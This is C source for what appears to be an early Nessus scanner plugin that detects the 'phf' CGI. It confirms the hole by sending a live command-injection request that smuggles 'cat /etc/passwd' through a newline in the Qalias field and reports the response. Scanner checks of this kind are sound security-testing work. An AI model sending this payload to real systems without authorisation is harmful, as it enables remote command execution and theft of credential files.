/*
 * 
 * phf
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "phf"
#define DESC "\
The 'phf' cgi allow a remote user to execute any\n\
command on the target system with the same privileges\n\
as the web server\n\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "determines the presence of the 'phf' cgi"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{

	if(!host_get_port_state(args, 80))return(0);
	if(is_cgi_installed(args, "phf"))
	{
       
	char * test_file = get_preference(args, "test_file");
	char * buffer = emalloc(4096);
	char * result;
	int soc = open_sock_tcp(args, 80);
	
     
	if(soc<=0)
	 /* Couldn't re-open the connection... Strange !*/
	 post_hole(args, 80, "The 'phf' cgi is present\nRemote files may be read");
	else {
	  	sprintf(buffer, 
"GET /cgi-bin/phf?\\Jserver=ns.uiuc.edu&Qalias=%%0Acat%%20%s&Qname=&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip=n\n\n",
test_file?test_file:"/etc/passwd");
		send(soc, buffer, strlen(buffer), 0);
		bzero(buffer, 4096);
		recv(soc, buffer, 4096,0);
		result = emalloc(strlen(buffer) + 100);
		sprintf(result, "The 'phf' cgi is present\nWe attempted to obtain %s :\n%s\n", test_file?test_file:"/etc/passwd",buffer);
		efree(&buffer);
		post_hole(args, 80, result);
		efree(&result);
		socket_close(soc);
		}
	}
	return(0);
}

